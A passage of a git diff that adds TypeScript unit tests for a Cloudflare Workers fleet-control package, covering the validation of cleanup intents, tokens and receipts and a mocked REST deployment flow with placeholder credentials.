+      parse({ ...value, updatedAt: '2026-08-29T12:00:00Z' }),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(value, fleetRecord({ phase: 'worker-deployed' })),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('rejects identity mismatches and malformed identity shapes', () => {
+    const value = intent({ step: 'teardown-traffic' });
+    expect(() =>
+      parse({
+        ...value,
+        identity: identity({
+          record: { ...identity().record, scriptName: 'other-worker' },
+        }),
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse({
+        ...value,
+        identity: identity({ admittedPhase: 'ready' as ProvisioningPhase }),
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse({
+        ...value,
+        identity: identity({ externalArtifact: 'no' as never }),
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+    const { externalArtifact: _externalArtifact, ...withoutArtifact } =
+      identity();
+    expect(() => parse({ ...value, identity: withoutArtifact })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() =>
+      parse({
+        ...value,
+        identity: {
+          ...identity(),
+          record: { ...identity().record, extra: 1 },
+        },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips manual and rollback authority and rejects malformed variants', () => {
+    const manual = intent({ step: 'database-deletion' });
+    expect(parse(manual)).toEqual(manual);
+    const rollback = intent(
+      { step: 'database-deletion' },
+      { authority: rollbackAuthority() },
+    );
+    expect(parse(rollback)).toEqual(rollback);
+    expect(() =>
+      parse({
+        ...manual,
+        authority: { kind: 'manual-cleanup', reservationOwned: true },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+    const { requestedSpecDigest: _digest, ...withoutDigest } =
+      rollbackAuthority() as Extract<
+        CleanupAuthority,
+        { kind: 'provisioning-rollback' }
+      >;
+    expect(() => parse({ ...rollback, authority: withoutDigest })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() =>
+      parse({
+        ...rollback,
+        authority: { ...rollbackAuthority(), workerResourceState: 'maybe' },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse({
+        ...rollback,
+        authority: {
+          ...rollbackAuthority(),
+          requestedSpecDigest: 'A'.repeat(64),
+        },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('rejects a foreign purpose database, operation, or kind', () => {
+    const blocked = (
+      value: CleanupAttachmentPurpose | Record<string, unknown>,
+    ) =>
+      intent({
+        step: 'blocked',
+        purpose: value as CleanupAttachmentPurpose,
+        attachment: { plane: 'ordinary', scriptName: 'foreign-worker' },
+      });
+    expect(() =>
+      parse(blocked({ ...purpose(), databaseId: 'other-database' })),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(blocked({ ...purpose(), operationId: OTHER_OPERATION_ID })),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(
+        blocked({
+          kind: 'database-pre-delete',
+          databaseId: DATABASE_ID,
+          operationId: OPERATION_ID,
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('fails closed on byte, depth, and node bounds', () => {
+    const value = intent({ step: 'teardown-traffic' });
+    expect(CLEANUP_INTENT_BYTE_BOUND).toBe(98_304);
+    expect(() =>
+      parse({ ...value, state: { step: 'x'.repeat(98_305) } }),
+    ).toThrow(CleanupAdvanceIntentError);
+    let deep: unknown = 'leaf';
+    for (let index = 0; index < 70; index += 1) deep = [deep];
+    expect(() => parse({ ...value, state: deep })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() =>
+      parse({ ...value, state: Array.from({ length: 9_000 }, () => 0) }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+});
+
+describe('cleanup advance token', () => {
+  const token = {
+    version: 1,
+    tenantTag: 'acme',
+    environment: 'production',
+    operationId: OPERATION_ID,
+    revision: 2,
+  } as const;
+
+  it('parses a canonical token and throws the generic token error first', () => {
+    expect(parseCleanupAdvanceToken(token)).toEqual(token);
+    for (const malformed of [
+      undefined,
+      null,
+      42,
+      'token',
+      [],
+      { ...token, extra: 1 },
+      { ...token, version: 2 },
+      { ...token, operationId: 'not-a-uuid' },
+      { ...token, revision: -1 },
+      { ...token, tenantTag: '' },
+      { ...token, environment: 'x'.repeat(5_000) },
+    ]) {
+      expect(() => parseCleanupAdvanceToken(malformed)).toThrow(
+        CleanupAdvanceTokenError,
+      );
+    }
+  });
+
+  it('classifies current and stale tokens against the active intent', () => {
+    const source = fleetRecord({
+      cleanupIntent: intent({ step: 'database-deletion' }, { revision: 2 }),
+    });
+    expect(classifyCleanupAdvanceToken(token, source)).toBe('current');
+    expect(classifyCleanupAdvanceToken({ ...token, revision: 1 }, source)).toBe(
+      'stale',
+    );
+  });
+
+  it('throws deployment, operation, and future token errors in order', () => {
+    const source = fleetRecord({
+      cleanupIntent: intent({ step: 'database-deletion' }, { revision: 2 }),
+    });
+    expect(() =>
+      classifyCleanupAdvanceToken({ ...token, tenantTag: 'other' }, source),
+    ).toThrow(CleanupAdvanceTokenDeploymentError);
+    expect(() =>
+      classifyCleanupAdvanceToken(
+        { ...token, operationId: OTHER_OPERATION_ID },
+        source,
+      ),
+    ).toThrow(CleanupAdvanceTokenOperationError);
+    expect(() =>
+      classifyCleanupAdvanceToken(
+        token,
+        fleetRecord({ phase: 'ready', applicationResources: [] }),
+      ),
+    ).toThrow(CleanupAdvanceTokenOperationError);
+    expect(() =>
+      classifyCleanupAdvanceToken({ ...token, revision: 3 }, source),
+    ).toThrow(CleanupAdvanceTokenFutureError);
+  });
+});
+
+describe('invocation authority carrier codec', () => {
+  it('round-trips null and timestamp carriers', () => {
+    expect(
+      invocationAuthorityCarrierFromUnknown({ version: 1, authorizedAt: null }),
+    ).toEqual({ version: 1, authorizedAt: null });
+    expect(
+      invocationAuthorityCarrierFromUnknown({ version: 1, authorizedAt: NOW }),
+    ).toEqual({ version: 1, authorizedAt: NOW });
+  });
+
+  it('rejects malformed carrier keys, versions, and timestamps', () => {
+    for (const malformed of [
+      undefined,
+      null,
+      42,
+      {},
+      { version: 1 },
+      { authorizedAt: null },
+      { version: 1, authorizedAt: null, extra: 1 },
+      { version: 2, authorizedAt: null },
+      { version: 1, authorizedAt: 42 },
+      { version: 1, authorizedAt: '2026-08-29T12:00:00Z' },
+      { version: 1, authorizedAt: 'not-a-timestamp' },
+    ]) {
+      expect(() => invocationAuthorityCarrierFromUnknown(malformed)).toThrow(
+        InvocationAuthorityCarrierError,
+      );
+    }
+  });
+});
+
+describe('cleanup and decommission structural cross-rejection', () => {
+  it('rejects cleanup intents in the decommission codec and vice versa', () => {
+    const cleanup = intent({ step: 'database-deletion' });
+    expect(() =>
+      decommissionAdvanceIntentFromUnknown(cleanup, decommissionRecord()),
+    ).toThrow(DecommissionAdvanceIntentError);
+    const decommission = decommissionDiscoverIntent();
+    expect(
+      decommissionAdvanceIntentFromUnknown(decommission, decommissionRecord()),
+    ).toEqual(decommission);
+    expect(() => parse(decommission)).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('rejects the cleanup purpose kind inside decommission scan states', () => {
+    const decommission = decommissionDiscoverIntent();
+    expect(() =>
+      decommissionAdvanceIntentFromUnknown(
+        { ...decommission, purpose: purpose() },
+        decommissionRecord(),
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+  });
+});
+
+describe('canonical cleanup evidence serialization', () => {
+  it('serializes receipt evidence independent of key order', () => {
+    const ordered = receiptEvidence();
+    const reordered = JSON.parse(
+      JSON.stringify({
+        scan: {
+          verify: { evidenceCount: 2, evidenceSha256: EVIDENCE },
+          discover: { evidenceCount: 2, evidenceSha256: EVIDENCE },
+        },
+        databaseAbsentReadback: true,
+        applicationR2Settled: true,
+        platformResourcesAbsent: true,
+        workerAbsent: true,
+        ingressRemoved: true,
+        eligibility: 'carrier-null',
+      }),
+    ) as CleanupReceiptEvidence;
+    expect(canonicalCleanupEvidenceBytes(reordered)).toBe(
+      canonicalCleanupEvidenceBytes(ordered),
+    );
+    expect(
+      canonicalCleanupEvidenceBytes({ ...ordered, workerAbsent: false }),
+    ).not.toBe(canonicalCleanupEvidenceBytes(ordered));
+  });
+});
+
+describe('cleanup terminal receipt codec', () => {
+  it('round-trips a terminal receipt and rejects malformed receipts', () => {
+    const receipt = terminalReceipt();
+    expect(cleanupTerminalReceiptFromUnknown(receipt)).toEqual(receipt);
+    const completed = terminalReceipt({ completedAtMs: 1_760_000_000_000 });
+    expect(cleanupTerminalReceiptFromUnknown(completed)).toEqual(completed);
+    const { scan: _scan, ...scanless } = receiptEvidence();
+    const reservation = terminalReceipt({
+      authority: 'provisioning-rollback',
+      admittedPhase: 'database-reserved',
+      disposition: 'reservation-cleared',
+      evidence: { ...scanless, eligibility: 'reservation-only' },
+    });
+    expect(cleanupTerminalReceiptFromUnknown(reservation)).toEqual(reservation);
+    for (const malformed of [
+      undefined,
+      { ...receipt, extra: 1 },
+      { ...receipt, version: 2 },
+      { ...receipt, operationId: 'not-a-uuid' },
+      { ...receipt, authority: 'forced' },
+      { ...receipt, admittedPhase: 'publishing' },
+      { ...receipt, disposition: 'exported' },
+      { ...receipt, completedAtMs: -1 },
+      { ...receipt, evidence: { ...receiptEvidence(), eligibility: 'always' } },
+      { ...receipt, evidence: { ...receiptEvidence(), extra: true } },
+      {
+        ...receipt,
+        evidence: {
+          ...receiptEvidence(),
+          scan: { discover: { evidenceSha256: EVIDENCE, evidenceCount: 2 } },
+        },
+      },
+    ]) {
+      expect(() => cleanupTerminalReceiptFromUnknown(malformed)).toThrow(
+        CleanupTerminalReceiptError,
+      );
+    }
+  });
+});
+
+describe('classifyCleanupDatabaseEligibility', () => {
+  function release(): ExternalReleaseSnapshot {
+    return {
+      physicalScriptName: 'acme-production',
+      specDigest: DIGEST,
+      artifactVersion: 'version-1',
+      releaseSchemaVersion: 1,
+    };
+  }
+
+  function classify(record: FleetRecord, externalArtifact = false) {
+    return classifyCleanupDatabaseEligibility({ record, externalArtifact });
+  }
+
+  it('refuses phases outside the admitted set toward export-backed decommissioning', () => {
+    for (const phase of PROVISIONING_PHASES.filter(
+      (candidate) => !ADMITTED_PHASES.includes(candidate as never),
+    )) {
+      expect(classify(fleetRecord({ phase }))).toEqual({
+        eligible: false,
+        reason: 'phase-requires-decommission',
+      });
+    }
+  });
+
+  it('refuses Workers for Platforms and external artifacts as untrusted data bindings', () => {
+    expect(
+      classify(
+        fleetRecord({
+          backend: 'workers-for-platforms',
+          phase: 'worker-deployed',
+        }),
+      ),
+    ).toEqual({ eligible: false, reason: 'untrusted-data-binding' });
+    expect(classify(fleetRecord({ phase: 'worker-deployed' }), true)).toEqual({
+      eligible: false,
+      reason: 'untrusted-data-binding',
+    });
+  });
+
+  it('refuses records carrying external staging evidence', () => {
+    const staged: readonly Partial<FleetRecord>[] = [
+      { activeRelease: release() },
+      { pendingRelease: release() },
+      { migrationPriorRelease: release() },
+      { rollbackRelease: release() },
+      { retiringRelease: release() },
+      { platformTarget: {} as ExternalPlatformTargetDescription },
+      { migrationIntent: {} as ExternalMigrationIntent },
+      { pendingArtifactVersion: 'candidate-v1' },
+      { pendingSpecDigest: DIGEST },
+    ];
+    for (const overrides of staged) {
+      expect(
+        classify(fleetRecord({ phase: 'worker-deployed', ...overrides })),
+      ).toEqual({ eligible: false, reason: 'external-staging-evidence' });
+    }
+  });
+
+  it('fails closed on a malformed invocation authority carrier', () => {
+    for (const carrier of [
+      undefined,
+      42,
+      { version: 2, authorizedAt: null },
+      { version: 1, authorizedAt: 42 },
+      { version: 1, authorizedAt: null, extra: 1 },
+    ]) {
+      expect(
+        classify({
+          ...fleetRecord({ phase: 'worker-deployed' }),
+          invocationAuthority: carrier as never,
+        }),
+      ).toEqual({ eligible: false, reason: 'malformed-carrier' });
+    }
+  });
+
+  it('refuses a null carrier at maintenance-armed as carrier-phase-inconsistent', () => {
+    expect(
+      classify(
+        fleetRecord({
+          phase: 'maintenance-armed',
+          invocationAuthority: { version: 1, authorizedAt: null },
+        }),
+      ),
+    ).toEqual({ eligible: false, reason: 'carrier-phase-inconsistent' });
+  });
+
+  it('refuses an authorized carrier at every admitted phase', () => {
+    for (const phase of ADMITTED_PHASES) {
+      expect(
+        classify(
+          fleetRecord({
+            phase,
+            invocationAuthority: { version: 1, authorizedAt: NOW },
+          }),
+        ),
+      ).toEqual({ eligible: false, reason: 'invocation-authorized' });
+    }
+  });
+
+  it('classifies absent and null carriers across the admitted phases', () => {
+    for (const phase of RESERVATION_PHASES) {
+      expect(classify(fleetRecord({ phase }))).toEqual({
+        eligible: true,
+        eligibility: 'reservation-only',
+      });
+      expect(
+        classify(
+          fleetRecord({
+            phase,
+            invocationAuthority: { version: 1, authorizedAt: null },
+          }),
+        ),
+      ).toEqual({ eligible: true, eligibility: 'reservation-only' });
+    }
+    for (const phase of LEGACY_IMPOSSIBLE_PHASES) {
+      expect(classify(fleetRecord({ phase }))).toEqual({
+        eligible: true,
+        eligibility: 'legacy-phase-impossible',
+      });
+    }
+    for (const phase of [
+      'application-resources-deployed',
+      'platform-resources-deployed',
+      'worker-deployed',
+      'maintenance-armed',
+    ] as const) {
+      expect(classify(fleetRecord({ phase }))).toEqual({
+        eligible: false,
+        reason: 'legacy-phase-ambiguous',
+      });
+    }
+    for (const phase of ADMITTED_PHASES.filter(
+      (candidate) =>
+        !RESERVATION_PHASES.includes(candidate as never) &&
+        candidate !== 'maintenance-armed',
+    )) {
+      expect(
+        classify(
+          fleetRecord({
+            phase,
+            invocationAuthority: { version: 1, authorizedAt: null },
+          }),
+        ),
+      ).toEqual({ eligible: true, eligibility: 'carrier-null' });
+    }
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts
new file mode 100644
index 00000000..6f594410
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts
@@ -0,0 +1,419 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js';
+import { CloudflareProvisioningClient } from '../src/cloudflare-client.js';
+import { WorkerDeploymentError } from '../src/deployment-error.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  DatabaseReference,
+  DeploymentSecrets,
+  DeploymentSpec,
+  ExternalMutationFence,
+} from '../src/types.js';
+import {
+  type CloudflareFixtureHandler,
+  pageArray,
+  recordingFetch,
+  restProjection,
+  single,
+  testRateCoordinator,
+  zoneAuthorityResponse,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import { memoryStore } from './fixtures/plain-worker-port-probe.js';
+import {
+  type ProviderWorld,
+  providerWorld,
+} from './fixtures/provider-world.js';
+
+const baseSpec: DeploymentSpec = {
+  tenantTag: 'acme',
+  environment: 'production',
+  scriptName: 'acme-production',
+  databaseName: 'acme-production',
+  compatibilityDate: '2026-08-26',
+  compatibilityFlags: ['nodejs_compat'],
+  mainModule: 'worker.js',
+  modules: [{ name: 'worker.js', content: 'export default { version: 1 }' }],
+  authoredBy: 'platform',
+  schemaVersion: 1,
+  migrations: [],
+  durableObjectMigrations: [],
+  durableObjectBindings: [],
+  maintenanceBaseUrl: 'https://control.example.test',
+  routeHostname: 'app.example.test',
+};
+
+const nextSpec: DeploymentSpec = {
+  ...baseSpec,
+  modules: [{ name: 'worker.js', content: 'export default { version: 2 }' }],
+};
+
+const database: DatabaseReference = {
+  id: 'database-1',
+  name: baseSpec.databaseName,
+  created: true,
+};
+
+const secrets: DeploymentSecrets = {
+  deploymentIdentity: 'deployment-identity-secret-value-0001',
+  maintenanceAdmin: 'maintenance-admin-secret-value-00001',
+};
+
+function fence(): ExternalMutationFence {
+  return {
+    mutationLeaseTtlMs: 15 * 60_000,
+    assertOwned: vi.fn(async () => {}),
+  };
+}
+
+function maintenanceResponse(spec: DeploymentSpec): Response {
+  return Response.json({
+    nextSweepAt: 2_000,
+    nextPurgeAt: 3_000,
+    alarmAt: 2_000,
+    lastSweepAt: 1_000,
+    deploymentSpecDigest: deploymentSpecDigest(spec),
+  });
+}
+
+function projectedHandler(
+  world: ProviderWorld,
+  options: { readonly failInitialSubdomain?: boolean } = {},
+): CloudflareFixtureHandler {
+  const projected = restProjection(world);
+  const domains: Array<{ id: string; hostname: string; service: string }> = [];
+  return async (request) => {
+    const url = new URL(request.url);
+    const authority = zoneAuthorityResponse(url, []);
+    if (authority) return authority;
+    const body =
+      request.body && typeof request.body === 'object' ? request.body : {};
+    if (url.pathname.endsWith('/workers/domains')) {
+      if (request.method === 'GET') return pageArray(domains);
+      if (request.method === 'PUT') {
+        const hostname = Reflect.get(body, 'hostname');
+        const service = Reflect.get(body, 'service');
+        if (typeof hostname === 'string' && typeof service === 'string') {
+          domains.splice(0, domains.length, {
+            id: 'domain-1',
+            hostname,
+            service,
+          });
+        }
+        return single({ id: 'domain-1' });
+      }
+    }
+    if (request.method === 'GET' && url.pathname.endsWith('/workers/scripts')) {
+      return pageArray(
+        [...world.scripts.entries()].flatMap(([id, script]) =>
+          script.present ? [{ id }] : [],
+        ),
+      );
+    }
+    if (url.pathname.endsWith('/secrets') && request.method === 'GET') {
+      if (url.searchParams.has('page')) return pageArray([]);
+      const scriptName = url.pathname.split('/').at(-2);
+      const script = scriptName ? world.scripts.get(scriptName) : undefined;
+      const names = (script?.versions[0]?.bindings ?? []).flatMap((binding) =>
+        binding &&
+        typeof binding === 'object' &&
+        Reflect.get(binding, 'type') === 'secret_text' &&
+        typeof Reflect.get(binding, 'name') === 'string'
+          ? [{ name: Reflect.get(binding, 'name') }]
+          : [],
+      );
+      return pageArray(names);
+    }
+    const script = world.scripts.get(baseSpec.scriptName);
+    if (
+      options.failInitialSubdomain &&
+      request.method === 'POST' &&
+      url.pathname.endsWith('/subdomain') &&
+      script?.versions.length === 1
+    ) {
+      return Response.json(
+        { success: false, errors: [{ code: 1, message: 'subdomain failed' }] },
+        { status: 500 },
+      );
+    }
+    return projected(request);
+  };
+}
+
+function subject(
+  handler: CloudflareFixtureHandler,
+  maintenanceFetch: typeof fetch = async () => maintenanceResponse(nextSpec),
+) {
+  const fixture = recordingFetch(handler);
+  const client = new CloudflareProvisioningClient({
+    accountId: 'account',
+    apiToken: 'token',
+    plane: 'plain-worker',
+    rateCoordinator: testRateCoordinator(),
+    fetch: fixture.fetch,
+    requestTimeoutMs: 1_000,
+    exportStore: memoryStore(),
+  });
+  return {
+    backend: new CloudflareApiPlainWorkerBackend({
+      client,
+      fetch: maintenanceFetch,
+      maintenanceRequestTimeoutMs: 1_000,
+    }),
+    fixture,
+  };
+}
+
+describe('CloudflareApiPlainWorkerBackend', () => {
+  it('requires a Cloudflare client instance and exposes the plain-worker kind', () => {
+    expect(
+      () =>
+        new CloudflareApiPlainWorkerBackend({
+          client: {} as CloudflareProvisioningClient,
+        }),
+    ).toThrow('client must be a CloudflareProvisioningClient instance');
+    const { backend } = subject(projectedHandler(providerWorld()));
+    expect(backend.kind).toBe('plain-worker');
+  });
+
+  it('forwards maintenance route readiness timeout and interval', async () => {
+    const world = providerWorld();
+    const fixture = recordingFetch(projectedHandler(world));
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: fixture.fetch,
+    });
+    const request = vi.fn(
+      async () =>
+        new Response('<html></html>', {
+          status: 404,
+          headers: { 'content-type': 'text/html' },
+        }),
+    );
+    const backend = new CloudflareApiPlainWorkerBackend({
+      client,
+      fetch: request,
+      maintenanceRouteReadyTimeoutMs: 5,
+      maintenanceRouteReadyIntervalMs: 2,
+    });
+    const deployed = await backend.deployWorker(
+      baseSpec,
+      database,
+      secrets,
+      undefined,
+      fence(),
+    );
+    vi.useFakeTimers();
+    try {
+      const pending = expect(
+        backend.ensureMaintenance(
+          baseSpec,
+          secrets.maintenanceAdmin,
+          fence(),
+          deployed.artifactVersion,
+        ),
+      ).rejects.toThrow('workers.dev route did not serve within 5 ms');
+      await vi.advanceTimersByTimeAsync(5);
+      await pending;
+      expect(request).toHaveBeenCalledTimes(3);
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it('passes its identity caller token into deployment-identity refusals', async () => {
+    const { backend, fixture } = subject(projectedHandler(providerWorld()));
+
+    await expect(
+      backend.seedDeploymentIdentity(database, 'INVALID TAG', fence(), {
+        initialExecutionFenceState: 'open',
+      }),
+    ).rejects.toThrow('CloudflareApiPlainWorkerBackend.seedDeploymentIdentity');
+    expect(fixture.requests).toHaveLength(0);
+  });
+
+  it('refuses a reconciled initial upload whose public access did not converge', async () => {
+    const world = providerWorld();
+    const { backend, fixture } = subject(
+      projectedHandler(world, { failInitialSubdomain: true }),
+      async () => maintenanceResponse(baseSpec),
+    );
+
+    const error = await backend
+      .deployWorker(baseSpec, database, secrets, undefined, fence())
+      .catch((cause: unknown) => cause);
+    expect(error).toMatchObject<Partial<WorkerDeploymentError>>({
+      name: 'WorkerDeploymentError',
+      createdByAttempt: true,
+    });
+    expect(error).toBeInstanceOf(WorkerDeploymentError);
+    const causes =
+      error instanceof WorkerDeploymentError &&
+      error.cause instanceof AggregateError
+        ? error.cause.errors
+        : [];
+    expect(causes).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          message: expect.stringContaining(
+            "reconciled Worker upload for 'acme-production' did not converge public access",
+          ),
+        }),
+      ]),
+    );
+    expect(
+      fixture.requests.some(
+        ({ method, url }) =>
+          method === 'POST' && new URL(url).pathname.endsWith('/subdomain'),
+      ),
+    ).toBe(true);
+    const script = world.scripts.get(baseSpec.scriptName);
+    expect(script).toBeDefined();
+    expect(script?.versions.length).toBeGreaterThan(0);
+  });
+
+  it('accepts a reconciled initial upload after public access converges', async () => {
+    const world = providerWorld();
+    const { backend } = subject(projectedHandler(world), async () =>
+      maintenanceResponse(baseSpec),
+    );
+    world.failNext('uploadCandidate', { dispatched: true });
+    world.afterNext('uploadCandidate', (current) => {
+      const script = current.scripts.get(baseSpec.scriptName);
+      if (script) {
+        // The seed models a committed subdomain write whose response was lost
+        // after the preceding script upload could no longer report success.
+        script.subdomain = { enabled: true, previewsEnabled: false };
+      }
+    });
+
+    const deployed = await backend.deployWorker(
+      baseSpec,
+      database,
+      secrets,
+      undefined,
+      fence(),
+    );
+    const tagged = world.scripts
+      .get(baseSpec.scriptName)
+      ?.versions.filter(({ tag }) => tag === deploymentSpecDigest(baseSpec));
+
+    expect(deployed).toEqual({
+      artifactVersion: tagged?.[0]?.versionId,
+      created: true,
+    });
+    expect(tagged).toHaveLength(1);
+  });
+
+  it('runs an initial deploy, staged maintenance, promotion, and ready inspection over REST', async () => {
+    const world = providerWorld();
+    const maintenanceFetch = vi.fn(async () => maintenanceResponse(nextSpec));
+    const { backend, fixture } = subject(
+      projectedHandler(world),
+      maintenanceFetch,
+    );
+    const owned = fence();
+
+    const initial = await backend.deployWorker(
+      baseSpec,
+      database,
+      secrets,
+      undefined,
+      owned,
+    );
+    const staged = await backend.deployWorker(
+      nextSpec,
+      database,
+      secrets,
+      undefined,
+      owned,
+    );
+    expect(world.scripts.get(baseSpec.scriptName)?.deployment).toEqual([
+      { versionId: initial.artifactVersion, percentage: 100 },
+      { versionId: staged.artifactVersion, percentage: 0 },
+    ]);
+
+    await backend.ensureMaintenance(
+      nextSpec,
+      secrets.maintenanceAdmin,
+      owned,
+      staged.artifactVersion,
+    );
+    await backend.promoteWorker(
+      nextSpec,
+      { allowedCurrentScriptNames: [nextSpec.scriptName], allowUnrouted: true },
+      undefined,
+      owned,
+      staged.artifactVersion,
+    );
+    await expect(
+      backend.inspect(
+        nextSpec,
+        secrets.maintenanceAdmin,
+        staged.artifactVersion,
+      ),
+    ).resolves.toMatchObject({
+      artifactVersion: staged.artifactVersion,
+      desiredSpecDigest: deploymentSpecDigest(nextSpec),
+      databaseId: database.id,
+      maintenance: { armed: true },
+    });
+
+    expect(maintenanceFetch).toHaveBeenCalledTimes(2);
+    const accountPrefix = '/client/v4/accounts/account';
+    expect(
+      fixture.requests.map(({ method, url }) => {
+        const pathname = new URL(url).pathname;
+        if (!pathname.startsWith(accountPrefix)) {
+          throw new Error(
+            `recorded provider path lacks account prefix: ${pathname}`,
+          );
+        }
+        return `${method} ${pathname.slice(accountPrefix.length)}`;
+      }),
+    ).toEqual([
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/versions',
+      'PUT /workers/scripts/acme-production',
+      'POST /workers/scripts/acme-production/subdomain',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-1',
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-1',
+      'GET /workers/scripts/acme-production/subdomain',
+      'POST /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-2',
+      'GET /workers/scripts/acme-production/deployments',
+      'POST /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-2',
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-2',
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/domains',
+      'POST /workers/scripts/acme-production/deployments',
+      'GET /workers/domains',
+      'PUT /workers/domains',
+      'GET /workers/domains',
+      'GET /workers/scripts/acme-production/deployments',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions',
+      'GET /workers/scripts/acme-production/versions/version-2',
+      'GET /workers/scripts/acme-production/versions/version-2',
+      'GET /workers/scripts/acme-production/secrets',
+    ]);
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts
new file mode 100644
index 00000000..cfd7b5dd
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts
@@ -0,0 +1,968 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { APIConnectionTimeoutError } from 'cloudflare';
+import { describe, expect, it, vi } from 'vitest';
+import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js';
+import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js';
+import { CloudflareProvisioningClient } from '../src/cloudflare-client.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import type {
+  DatabaseExportReceiptIdentity,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
+  ExternalMutationFence,
+  PlainWorkerUploadIntent,
+} from '../src/types.js';
+import {
+  type CloudflareFixtureHandler,
+  deferred,
+  recordingFetch,
+  restProjection,
+  single,
+  testRateCoordinator,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import { errorChain } from './fixtures/plain-worker-harnesses.js';
+import {
+  memoryStore,
+  mutationFence,
+  rejectedValue,
+} from './fixtures/plain-worker-port-probe.js';
+import { providerWorld } from './fixtures/provider-world.js';
+
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: RECEIPT_AUTHORITY,
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
+
+function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent {
+  const base = {
+    scriptName: 'acme-production',
+    candidateTag: 'a'.repeat(64),
+    mainModule: 'worker.js',
+    modules: [
+      {
+        name: 'worker.js',
+        content: 'export default { fetch() {} }',
+      },
+    ],
+    compatibilityDate: '2026-08-26',
+    compatibilityFlags: ['nodejs_compat'],
+    bindings: {
+      plainText: [{ name: 'DEPLOYMENT_TENANT', value: 'acme' }],
+      secrets: [{ name: 'SECRET', value: 'secret-value' }],
+      d1: [
+        {
+          name: 'DB',
+          databaseId: 'database-1',
+          databaseName: 'acme-production',
+        },
+      ],
+      durableObjects: [],
+      services: [],
+      queueProducers: [],
+      r2Buckets: [],
+    },
+    limits: { cpuMs: 30_000 },
+    publicAccess: {
+      workersDevEnabled: true,
+      previewUrlsEnabled: false,
+    },
+  } as const;
+  return mode === 'initial'
+    ? { ...base, mode, durableObjectMigrations: [] }
+    : { ...base, mode };
+}
+
+function subject(
+  handler: CloudflareFixtureHandler,
+  options: {
+    readonly events?: string[];
+    readonly exportStore?: ConstructorParameters<
+      typeof CloudflareProvisioningClient
+    >[0]['exportStore'];
+    readonly formDataProbe?: 'unsupported';
+    readonly concurrency?: number;
+  } = {},
+) {
+  const events = options.events ?? [];
+  const fixture = recordingFetch(handler, events, {
+    formDataProbe: options.formDataProbe,
+  });
+  const client = new CloudflareProvisioningClient({
+    accountId: 'account',
+    apiToken: 'token',
+    plane: 'plain-worker',
+    rateCoordinator: testRateCoordinator(undefined, events),
+    fetch: fixture.fetch,
+    requestTimeoutMs: 1_000,
+    exportStore: options.exportStore,
+    concurrency: options.concurrency,
+  });
+  return {
+    api: new CloudflareApiPlainWorkerProvisioningApi({ client }),
+    client,
+    fixture,
+  };
+}
+
+function emptyScriptWorld(
